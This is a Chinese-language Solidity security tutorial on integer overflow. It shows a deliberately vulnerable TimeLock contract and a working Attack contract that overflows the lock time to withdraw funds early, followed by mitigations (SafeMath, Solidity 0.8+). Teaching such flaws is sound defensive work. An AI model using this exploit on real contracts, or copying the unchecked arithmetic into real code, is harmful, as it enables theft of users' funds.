# 算术溢出

## 漏洞

##### Solidity < 0.8

这些版本中，如果发生整数溢出，Solidity并不会报错

##### Solidity >= 0.8

在 Solidity 0.8 中，发生溢出默认会抛出错误。

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

// 这个合约实现了一个时间锁。
// 用户可以存入资金，但至少等待一周才能提取。
// 用户还可以延长等待期。

/*

1.部署TimeLock合约
2.使用TimeLock的地址部署攻击合约
3.调用Attack合约的attack方法，传入1ETH。便能够将资金立即提取。

发生了什么？
攻击导致TimeLock的lockTime溢出，使攻击者提前提取了资金。
*/

contract TimeLock {
    mapping(address => uint256) public balances;
    mapping(address => uint256) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint256 _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

        uint256 amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent,) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    TimeLock timeLock;

    constructor(TimeLock _timeLock) {
        timeLock = TimeLock(_timeLock);
    }

    fallback() external payable {}

    function attack() public payable {
        timeLock.deposit{value: msg.value}();
        /*
        假设 t 是当前锁定时间，那么我们需要找到一个x满足
        x + t = 2**256 = 0
        可得 x = -t
        2**256 = type(uint).max + 1
        即 x = type(uint).max + 1 - t
        */
        timeLock.increaseLockTime(
            type(uint256).max + 1 - timeLock.lockTime(address(this))
        );
        timeLock.withdraw();
    }
}
```

## 应对措施

* 使用 [SafeMath](https://github.com/ConsenSysMesh/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol) 来保护算术溢出

* 使用 Solidity 0.8 以上版本